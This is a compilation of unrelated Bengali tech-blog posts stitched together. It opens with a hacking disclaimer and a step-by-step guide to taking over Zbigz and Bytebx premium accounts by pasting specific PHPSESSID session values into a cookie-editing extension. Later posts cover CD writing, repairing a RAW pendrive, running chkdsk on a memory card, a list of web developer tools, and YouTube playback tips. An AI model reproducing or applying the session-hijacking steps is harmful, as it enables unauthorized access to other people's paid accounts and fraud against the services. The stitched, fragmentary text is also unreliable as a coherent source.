Note : তবে ভিকটিম যদি সাইটে লগআউট করে দেয় তাহলে তোমারও লগআউট হয়ে যাবে । তবে তুমি যদি একবার পাসওয়ার্ড চেন্জ করে ফেলতে পারো তাহলে আর বারবার কষ্ট করা লাগবে না ।
Disclaimer: এই হ্যাকিং এর জন্য 0ld D3vil, Md sagor, tipstune, H@ck1ng Sch00l আমরা কেওই দায়ি থাকবো না । কারন এটা আপনি নিজ দায়িত্বে ব্যাবহার করবেন ।
১।Zbigz/Bytebx কি?
টরেন্ট নাম শুনেছেন তো!না শুনলে কেটে পড়ুন!
টরেন্ট ফাইলগুলো ডাউনলোড করতে আলাদা ম্যানেজার লাগে!সেই ম্যানেজারে কোন কিছু ডাউনলোড করতে হলে ডাউনলোডের পাশাপাশি আপলোডও দিতে হয়!যার কারনে ডাউনলোড স্পিড কমে যায় যা খুবই বিরক্তিকর!কিন্তু নতুন মুভি,ফুল সফট সবার আগে টরেন্টেই আপলোড হয়।তাছাড়া অনেক জিনিষই আপনি টরেন্টে পাবেন কিন্তু নরমালি পাবেন না!যেমনঃ ড্রাইবার প্যাক নামের একটা সফটওয়্যার আছে যার সাইজ ৯.৬৭ জিবি এবং এটা অফিশিয়ালি টরেন্টে দেওয়া!এখন আপনি কোনো মানবতাবাদীকে পাবেন না যে এত বড় ফাইল আপনাকে নরমাল সার্ভারে আপলোড করে দিবে!Zbigz/Bytebx এমনই দুইটা সার্ভিস যা টরেন্টকে ডিরেক্ট ফাইলে পরিণত করতে পারে!এতে করে আপনি টরেন্টটিকে আপনার প্রভাইডারের দেয়া ডেডিকেটেড স্পিডে ডাউনলোড করতে পারবেন!
২।Zbigz/Bytebx প্রিমিয়াম আর ফ্রী সার্ভিসের মধ্যে পার্থক্য?
Zbigz.com সাইটে ফ্রীতে মাত্র এক জিবি সাইজের ফাইলকে টরেন্ট টু ডিরেক্ট করতে পারবেন!Bytebx.com এ ও ১ জিবি লিমিট সাথে রেজিস্ট্রেশন ঝামেলা!এর সাথে প্রতি একাউন্টে ও লিমিট এবং স্পিড লিমিট থাকে!
আর প্রিমিয়াম সার্ভিসের স্পীড বা ডাউনলোড কোনো লিমিট নেই!
আর এজন্যই আপনাদের জন্য নিয়ে এলাম Zbigz/Bytebx এর প্রিমিয়াম একাউন্ট!
কিছুদিন আগে রিয়াজ ভাই এরকম দুই-তিনটা সার্ভারের প্রিমিয়াম একাউন্ট পাসওয়ার্ডসহ শেয়ার করেছিলেন!কিছু আবাল বার বার পাসওয়ার্ড চেঞ্জ করতে থাকে!আমি যে সিস্টেমে দিচ্ছি সেটাতে পাসওয়ার্ড চেঞ্জ হয়ার কোন উপায় নেই!তাই প্রথে Zbigz দিয়েই শুরু করিঃ
৩।যা যা লাগবেঃ
*গুগল ক্রোম ব্রাউজার
*ক্রোম ব্রাউজারে একটি এড অন।নামঃ Edit This Cookie
এড অন লিঙ্কঃ https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg
#গুগল ক্রোম থেকে উপরোক্ত লিঙ্কে গিয়ে Add to Chrome বাটনে ক্লিক করে Pop Up মেসেজ আসবে Allow তে ক্লিক করে এড অন টি ইন্সটল করুন।
Zbigz এর জন্যঃ
১।Zbigz.com এ যান।
২।ব্রাউজারের টপ বারে বিস্কিটের মতো Edit This Cookie এড অনটির আইকন থাকবে-ক্লিক করুন!
৩।একটা পপ আপ উইন্ডো আসবে সেখানে PHPSESSID নামের একটা অপ্সহন দেখতে পাবেন সেখানে ক্লিক করুন!মেনুটি মেক্সিমাইজ হবে!
৪।Value অপশনে একটি বক্স পাবেন।বক্সে আগে থেকেই হিজিবিজি লেখা থাকে।সব লেখাগুলো মুছে ফেলুন!
৫।ঐ বক্সে directtech9734577237VIP লিখুন আর চিহ্নে ক্লিকের মাধ্যমে সেইভ করুন।
৬।আবার ঐ অপশনে যান দেখেন লেখা directtech9734577237VIP আছে কি না!থাকলে বক্সের সাইডে লক বাটনে ক্লিক করুন।ঠিক চিহ্নে ক্লিকের মাধ্যমে সেভ করুন।
৭।এখন Zbigz রিলোড দিন দেখবেন Premium is On!
Bytebx এর জন্যঃ
১।bytebx.com/login সাইটে যান!
২।zbigz এর জন্য দেয়া ২,৩,৪ স্টেপগুলো ধারাবাহিকভাবে ফলো করুন!
৩।ঐ বক্সে directtech89992722 লিখুন আর চিহ্নে ক্লিকের মাধ্যমে সেইভ করুন।
৪।আবার ঐ অপশনে যান দেখেন লেখা directtech89992722 আছে কি না!থাকলে বক্সের সাইডে লক বাটনে ক্লিক করুন।ঠিক চিহ্নে ক্লিকের মাধ্যমে সেভ করুন।
৫।পেইজ রিলোড দেন দেখবেন প্রিমিয়াম হয়ে গেছে!

নোটঃ
*এ অনেক সময় নাও আসতে পারে কিংবা Too much login at a time দেখাতে পারে।চিন্তা করবেন না আবার রিলোড দিন ঠিক হয়ে যাবে! 
তারপরও যদি না হয় তাহলে আবার নতুন করে এই সিস্টেমটি ফলো করুন
Zbigz এ কিছু বাগ রয়েছে তাই আমার পরামর্শ Bytebx ব্যাবহার করন।বাগ ফিক্স হলে পোস্টটি আপডেট দিবো।তবে অনেকেরই Zbigz চলছে!!!

Zbigz বাগ ফিক্সডঃ প্রসেস ঠিকমত ফলো করে না হলে পিসি রিস্টার্ট দিয়ে ক্রোম ওপেন করুন!অটোমেটিকেলি হয়ে যাবে!! :)
প্রমাণঃ

এই পোস্টটি কষ্ট করে পড়ার জন্য ধন্যবাদ!! 8-) :lol:

আমার টিউনটি একদম নুতুনদের জন্য । এক্সপার্টদের জন্য নয় । এক্সপার্টদের সকলের মনে হয় জানা আছে । এবার কাজের কথায় আসি । আমরা অনেক সময় আমাদের দরকারি ফাইল গুলু ব্লাঙ্ক সিডিতে রাইট করে রাখি । একটি ব্লাঙ্ক সিডিতে প্রায় ৭০০ মেগাবাইট পয‍‍‍‌‌ন্ত রাইট করা যায় । কিন্তু অনেক সময় কম মেগাবাইট এর ফাইল সিডিতে রাইট করার প্রয়োজন হয় । তখন আমরা তা সিডিতে রাইট করি । কিন্তু আমরা অনেকেই জানিনা যে এক সিডিতে একবার রাইট করে ফেললে পরে আবার একাধিক বার রাইট করা যায় । আসুন প্রক্রিয়াটি দেখি ।

My Computer ওপেন করুন ।

সাধারণত সিডি/ডিভিডি রমটা এই রকম থাকে ।

ব্লাঙ্ক সিডি টা সিডি/ডিভিডি রম এ ঢুকালে উপরের ছবির মতো আসবে । তাহলে বুজবেন যে সিডিটা রম এ পেয়েছে ।


আপনি ইচ্ছা করলে ব্লাঙ্ক সিডিটার ধারন ক্ষমতা, কতটুকু খালি আছে তা উপরের ছবির নিয়ম অনুসারে দেখতে পারবেন ।

ব্লাঙ্ক সিডিতে যা রাইট করতে চান তা কপি করুন ।

তারপর My Computer ওপেন করে সিডি/ডিভিডি রম এ পেস্ট করুন ।

পেস্ট হয়ে গেলে Write these files to CD তে ক্লিক করুন ।

তারপর CD Name: এর ঘরে নিজের ইচ্ছামত নাম লিখে Next এ ক্লিক করুন ।

তারপর রাইট হতে থাকবে । কিছুক্ষন অপেক্ষা করতে হবে ।

কিছুক্ষন পরে উপরের ছবির মতো চার্ট আসলে Finish এ ক্লিক করতে হবে । Finish এ ক্লিক করার পরে সিডি/ডিভিডি রম থেকে সিডিটা নিজে নিজেই বের হয়ে যাবে ।
বাস কাজ শেষ । এই এক নিয়মেই আপনি এক সিডি তে বার বার রাইট করতে পারবেন । এক নিয়মেই আপনি Computer এ সফটওয়্যার ছাড়া সিডি রাইট করতে পারবেন ।
সবাইকে অসংখ ধন্যাবাদ ।।।। ভালো থাকবেন ।।।।
http://s30.postimg.org/u0c8mkiwx/pendrive_emtec_4gb_angry_birds_w3433_1.jpg
সুপ্রিয় ব্লগারগণ, পেনড্রাইভ আমাদের সবার কাছে কম বেশী নিত্য প্রয়োজনীয় বস্তু। এ কথা বলাই বাহুল্য যে এর কার্যবিধি সম্পর্কে জানে না এমন মানুষ পাওয়াটা দুষ্কর। যাই হোক মূল প্রসঙ্গে আসা যাক।
অনেক সময় দেখা যায় যে, আমাদের ব্যবহৃত পেনড্রাইভ কোন না কারণের জন্য সমস্যা তৈরি করে। যার ফলে অনেক সময় ভোগান্তিতে পরতে হয়। এর ফলে দেখা যায় যে পিসিতে পেনড্রাইভ প্রবেশের পর আপনার পেনড্রাইভে গুরুত্বপূর্ণ ফাইল থাকা সত্ত্বেও পেনড্রাইভ ফরমেট দিতে হচ্ছে। যাক পেনড্রাইভ ফরমেট দিতে গিয়ে দেখেন যে পেনড্রাইভ আর ফরমেট হয় না। অর্থাৎ আপনার পেনড্রাইভটি RAW ফাইল সিস্টেমে পরিণত হয়ে গিয়েছে। যার ফলে পিসিতে প্রবেশ করলে ফরমেট বার্তা তো শো করে কিন্তু ফরমেট দিতে গেলে সেটি ফরমেট হয় না। এমতাবস্থায় কি করণীয় তাই আলোচনা করছি।
যখন আপনার পেনড্রাইভটি পিসিতে প্রবেশ করাবেন তখন দেখবেন যে পেনড্রাইভটিকে যতবারই ফরমেট দেয়ার চেষ্টা করছেন না কেন পেনড্রাইভ কিছুতেই ফরমেট হচ্ছে না। ফলে এই বার্তাটি দেখতে পাবেন।
http://s2.postimg.org/3kb0ji5t5/image.jpg
এখন আপনি যদি Computer>Manage>Disk Management এ গিয়ে পেনড্রাইভ ফরমেট দিতে চান তাহলে আবার এই বার্তা দেখাবে।
http://s21.postimg.org/9rdgvhorb/image.jpg
http://s21.postimg.org/mwsz1limv/image.jpg

এখন এই সমস্যা সমাধানের জন্য আপনাদের একটি ডিস্ক পার্টিশন সফটওয়্যার ডাউনলোড করতে হবে। মাত্র 8.16 MB।
সফটওয়্যারটির নামঃ AOMEI Partition Assistant Standard Edition [Free Edition]
ডাউনলোড লিংকঃ AOMEI Partition Assistant
এখন সফটওয়্যারটি ডাউনলোড করে ইন্সটল করুন এবং ওপেন করুন। ওপেন করার পর দেখবেন আপনার প্রবেশকৃত পেনড্রাইভ ওখানে প্রদর্শন করছে। এরপর আপনার পেনড্রাইভ উপর মাউসের রাইট বাটন ক্লিক কনটেক্স মেন্যুটি আনুন। কনটেক্স মেন্যুটি থেকে Delete Partition অপশনটি সিলেক্ট করুন।
http://s28.postimg.org/uwzyxti31/image.jpg

Delete Partition অপশনটি সিলেক্ট করার পর এই বক্স টি শো করবে। ঐখান থেকে Delete partition quickly (Recommended) টিকে সিলেক্ট করে OK ক্লিক করুন। এরপর বামদিকে উপরে কোণায় Apply তে ক্লিক করুন।
http://s1.postimg.org/5unw931j3/image.jpg

এরপর আরেকটি বক্স শো করবে। ঐখান থেকে Proceed এ ক্লিক করুন এবং অপর আরকেটি বক্স আসবে ওতে Yes দিয়ে দিন।
http://s4.postimg.org/anehe4wnx/image.jpg

পেনড্রাইভের পার্টিশন ডিলিট প্রসেসিং
http://s4.postimg.org/7ul9u3wbh/image.jpg

পার্টিশন ডিলেট হওয়ার একটি বক্স শো করবে ঐখানে OK তে ক্লিক করুন। পেনড্রাইভের পার্টিশন ডিলেট হওয়ার পর ফাইল সিস্টেম Unallocated শো করবে। এরপর আপনার পেনড্রাইভ উপর মাউসের রাইট বাটন ক্লিক কনটেক্স মেন্যুটি আনুন। কনটেক্স মেন্যুটি থেকে Create Partition টি সিলেক্ট করুন।
http://s9.postimg.org/3qy5nrn6n/image.jpg

Create Partition টি সিলেক্ট করার পর একটি বক্স শো করবে। ঐখানে থেকে শুধু OK তে ক্লিক করুন। অতঃপর বামদিকে উপরে কোণায় Apply তে ক্লিক করুন। এরপর আরেকটি বক্স শো করবে। ঐখান থেকে Proceed এ ক্লিক করুন এবং অপর আরকেটি বক্স আসবে ওতে Yes দিয়ে দিন।
http://s1.postimg.org/n9hrs7udb/image.jpg

পেনড্রাইভের পার্টিশন ক্রিয়েট প্রসেসিং
http://s9.postimg.org/5yuf5ihpb/image.jpg

পার্টিশন করা শেষ হলে সফল ভাবে সম্পন্ন হয়েছে এরূপ একটি বক্স শো করবে ঐখানে OK ক্লিক করুন।
http://s27.postimg.org/bt0rsric3/image.jpg

অতঃপর Computer প্রবেশ করে Devices With Removable Storage এ দেখুন আপনার পেনড্রাইভ শো করছে।
http://s27.postimg.org/pb7o51uhf/image.jpg

এই দেখুন এই কাজ করার পর এখন আপনি সরাসরি আপনার পেনড্রাইভকে ফরমেট দিতে পারবেন।
http://s24.postimg.org/r8s3mvis5/image.jpg
এখন থেকে যদি পেনড্রাইভ RAW ফাইল সিস্টেমে পরিণত হয় তবে এই ভাবে এর সমাধান করতে পারবেন।
তথ্য আদান প্রদান করার সময় ফোনের মেমোরি কার্ড হঠাৎ.খুলে নেওয়া হলে বা কোনো ভাবে সংযোগ বিছিন্ন হলে সেটি ক্ষতিগ্রস্ত হয়ে অকেজো হতে পারে। নানাভাবে এমন অকেজো মেমোরি কার্ড সচল করা গেলেও সম্পূর্ণভাবে ক্ষতিগ্রস্ত এবং বাহ্যিকভাবে নষ্ট প্রায় কার্ডকে ঠিক করতে ডেটা রিকভারি সফটওয়্যার ব্যবহার করতে হবে। মেমোরি কার্ডের তথ্য দেখা যাচ্ছে, কিন্তু সেটি ব্যবহার করা না গেলে আপনাকে এই সফটওয়্যার সমাধান দিতে পারে। এ ক্ষেত্রে ডেটা উপস্থিত থাকে কিন্তু কম্পিউটার বা অন্য যন্ত্র সেটিকে পড়তে (রিড) পারে না।
এক্ষেত্রে সবাই ভাবে যে মেমোরি কার্ডটি বোধহয় নষ্ট হয়ে গেছে। কিন্তু না, এমন অবস্থা থেকে আমরা মেমোরি কার্ডটাকে ফিরিয়ে আনতে পারি।
এ জন্য কার্ড রিডারে মেমোরি কার্ড ঢুকিয়ে নিয়ে কম্পিউটারে সংযোগ দিন। খেয়াল রাখুন, মেমোরি কার্ড ফাইল এক্সপ্লোরারে বা হার্ড ড্রাইভের অন্যান্য ডিস্কের মতো দেখালে এটিতে প্রবেশ করা যাবে না, কিন্তু ফাইল সিস্টেম ঠিক আছে। এবার য়াপনার উইন্ডোজ এর স্টার্ট মেন্যুতে গিয়ে cmd লিখুন। এতে আপনার স্টার্ট মেন্যুর উপর দিকে কমান্ড প্রম্পট(cmd) দেখা যাবে। এখন এর ওপর ডান বোতাম চেপে Run as administrator নির্বাচন করে সেটি খুলুন। কমান্ড
প্রম্পট চালু হলে এখানে chkdsk mr লিখে enter ক্লিক করুন। এখানে m হচ্ছে মেমোরি কার্ডের ড্রাইভ ।
কম্পিউটারে কার্ডের ড্রাইভ লেটার যে টি দেখাবে সেটি এখানে লিখে চেক ডিস্কের কাজটি সম্পন্ন হতে দিন।
এখানে convert lost chains to files বার্তা এলে y চাপুন। এ ক্ষেত্রে ফাইল কাঠামো ঠিক থাকলে কার্ডের তথ্য আবার ব্যবহার করা যাবে। মেমোরি কার্ড যদি invalid file system দেখায় তাহলে সেটির ড্রাইভের ডান ক্লিক করে Format-এ ক্লিক করুন। File system থেকে FAT নির্বাচন করে Quick format-এর টিক চিহ্ন তুলে দিয়ে Format-এ ক্লিক করুন। ফরম্যাট সম্পন্ন হলে মেমোরি কার্ডের তথ্য হারালেও কার্ড নষ্ট হবে না।
ওয়েব ডেভেলোপারদের কাজের সহযোগিতার জন্য অনলাইনে অনেক Tools বিদ্যমান তবে কিছু অসাধারণ Tools আছে যা নবীন প্রবীণ সকল ডেভেলোপারদের সারাজীবন কাজে লাগে । Tools গুলো সংগ্রহ করুন এবং কাজ করুন সহজে…
1. Firebug : Firebug হল Mozilla Firefox এর একটি extension যাতে রয়েছে ওয়েব ডেভেলোপমেন্ট কাজের জন্য অনেক সুবিধা । এতে রয়েছে built-in JavaScript debugger যা ডেভেলোপারদেরকে ধাপে ধাপে script লিখা এবং লিখিত script গুলোর ভুল ধরিয়ে দেয় ।
http://getfirebug.com
2. Internet Explorer Developer Toolbar : Internet Explorer Developer Tool হল Firebug এর মতই Internet Explorer এর একটি Add-ons যা internet explorer এ site এর লিখতে সাহায্য করে । বিশেষ করে যে সকল ডেভেলোপার Safari বা Firefox ব্যাবহার করেন তাদের Cross-compatibility সমস্যা সমাধানে Internet Explorer Developer একটি গুরুত্বপুর্ন Toolbar।
http://www.microsoft.com/en-us/download/default.aspx
3. Pixie : Pixie হচ্ছে এমন একটা Software যে আপনাকে একটা Color এর HEX, HTML, RGB, CMYK, HSV এর কোড গুলো দেখাবে। http://www.nattyware.com/pixie.php
4. CSSTidy : CSSTidy হল একটি opensourse application CSS কোড কে optimize করে এবং ফাইল সাইজ বহুলাংশে কমিয়ে দেয় ফলশ্রুতিতে website এর স্পীড বৃদ্ধি পায় । CSSTidy কিভাবে কাজ করে তা বুঝার জন্য “before and after” উদাহরণ ভালভাবে দেখতে পারেন । http://csstidy.sourceforge.net/index.php
5. GrepWin : GrepWin এর কাজ হচ্ছে! ধরুন বায়ার আপনাকে 5000 HTML ফাইল দিল এবং বলল যে যেখানে যেখানে Good লেখা আছে সেইস্থানে Better লেখতে হবে। ঠিক এই কাজটা করার জন্য ব্যবহার করা হয় GrepWin। ttp://code.google.com/p/grepwin/downloads/list
6. LastPass : LastPass এমন একটা সাইট যে সাইট আপনার পাসওয়ার্ড গুলো সংরক্ষণ করে রাখবে এবং ১০০% নিরাপত্তা সহকারে। https://lastpass.com/
7. Intuitive Color Picker : পছন্দ মত কালার নির্বাচন করার ক্ষেত্রে এটি একটি ভাল টুলস। মাউস মুভ করে কালার hue এবং lightness ঠিক করে আপনি আপনার পছন্দের কালার ওয়েবসাইট এ ব্যাবহার করতে পারেন। http://color.hailpixel.com/
8. Everything : Everything হচ্ছে একটা ছোট Software কিন্তু এর কাজটা ছোট না। আমরা অনেকেই Windows XP, Windows 7, Windows 8 এর Search Engine এর সাথে পরিচিত আছি। আমরা এই Search Engine গুলো ব্যবহার করি কম্পিউটারের ফাইল গুলো খোজার জন্য? Everything এমন একটা Software যার মাধ্যমে আমরা আমাদের কম্পিউটারের যে কোন ফাইল সর্বচ্চ ৩০সেকেন্ড এর ভিতর খুজে পেতে সাহাজ্য করবে।http://www.voidtools.com/
9. Generate WP : GenerateWP এর মাধ্যমে আমার যারা WordPress Themes বানানোর চেষ্টা করছি এবং চেষ্টা করি তাদের জন্য GenerateWP একটা অসাধারণ সাইট। http://generatewp.com/
10. Pure : Responsive Web Design এর জন্য এটি একটা খুব ভাল সাইট। http://purecss.io/
11. TinyPNG : এটি একটি অনেক স্মার্ট টুলস যা ইমেজ সাইজ কমানোর জন্য লাগে। টুলস টি png ফাইল ৭০% পর্যন্ত কমিয়ে ফেলতে পারে । আর আমি বিশ্বাস করি আপনি দুই ইমেজ এর মধ্যে কোন পার্থক্য পাবেন না । http://tinypng.org/
12. Icon : Icon নাম দেখে বুঝতে পারছেন যে এই সাইটটি কি কাজে ব্যবহার করা হয়। http://findicons.com/
13. DOMTool : DOM একটি অসাধারণ tool যা ডেভেলোপারদের অনেক সময় বাচিয়ে দেয় । DOM HTML আকারে ইনপুট নেয় এবং সঠিক output প্রদান করে । http://muffinresearch.co.uk/archives/200…8/domtool/
14. Bootstrap : Twitter bootstrap হল একটি অসাধারণ টুলস যা দ্বারা আপনি এক ঘণ্টার মধ্যে অবিশ্বাস্য responsive website তৈরি করতে পারবেন। Twitter bootstrap সবচেয়ে বড় সুবিধা হল এখানে আপনি প্রচুর উদাহরণ পাবেন যা আপনাকে ওয়েবসাইট তৈরিতে দারুন সহযোগিতা করবে। http://twitter.github.io/bootstrap/
আসলে আমাদের বাংলাদেশে ইন্টারনেট এর যে স্পীড তাতে করে ইউটিউব এর ভিডিও দেখা সম্ভব হয় না
তাই আমাই আজকে আপনাকে যে ট্রিক টি দেব তাতে করে আপনি অনায়াসেই ইউটিউব এর ভিডিও দেখতে পারবেন
যা যা প্রয়োজন
এখন আপনি আপনার ব্রাউজার থেকে নিচের লিঙ্ক টি ভিসিট করুন
https://www.youtube.com/html5
নিচের ছবির মত করুন

request the HTML5 player এ ক্লিক করুন
নিচের ছবির মত করুন

use the deafult player এ ক্লিক করুন
এখন ইউটিউব এ browse kore দেখুন এখন কোন Buffering ছারাই youtube এর ভিডিও দেখতে পারছেন
আরও একটি ট্রিক আছে
আপনার ব্রাউজার থেকে নিচের লিঙ্ক টি ভিসিট করুন
http://www.youtube/feather-beta
Join the Feather Beta তে ক্লিক করুন
এখন ইউটিউব এ browse kore দেখুন এখন কোন Buffering ছারাই youtube এর ভিডিও দেখতে পারছেন।